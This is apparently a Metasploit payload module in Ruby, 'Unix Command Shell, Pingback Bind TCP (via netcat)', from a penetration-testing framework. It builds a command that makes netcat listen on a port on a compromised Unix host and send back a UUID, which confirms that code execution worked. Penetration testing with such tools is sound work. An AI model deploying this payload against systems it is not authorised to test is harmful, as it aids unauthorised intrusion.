1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 103
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Pingback
11
  include Msf::Payload::Pingback::Options
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'Unix Command Shell, Pingback Bind TCP (via netcat)',
18
        'Description' => 'Accept a connection, send a UUID, then exit',
19
        'Author' => [
20
          'asoto-r7'
21
        ],
22
        'License' => MSF_LICENSE,
23
        'Platform' => 'unix',
24
        'Arch' => ARCH_CMD,
25
        'Handler' => Msf::Handler::BindTcp,
26
        'Session' => Msf::Sessions::Pingback,
27
        'PayloadType' => 'cmd',
28
        'RequiredCmd' => 'netcat'
29
      )
30
    )
31
    register_advanced_options(
32
      [
33
        OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc'])
34
      ]
35
    )
36
  end
37

38
  #
39
  # Constructs the payload
40
  #
41
  def generate(_opts = {})
42
    super.to_s + command_string
43
  end
44

45
  #
46
  # Returns the command string to use for execution
47
  #
48
  def command_string
49
    self.pingback_uuid ||= generate_pingback_uuid
50
    "printf '#{pingback_uuid.scan(/../).map { |x| '\\x' + x }.join}' | (#{datastore['NetcatPath']} -lp #{datastore['LPORT']} || #{datastore['NetcatPath']} -l #{datastore['LPORT']})"
51
  end
52
end
53

54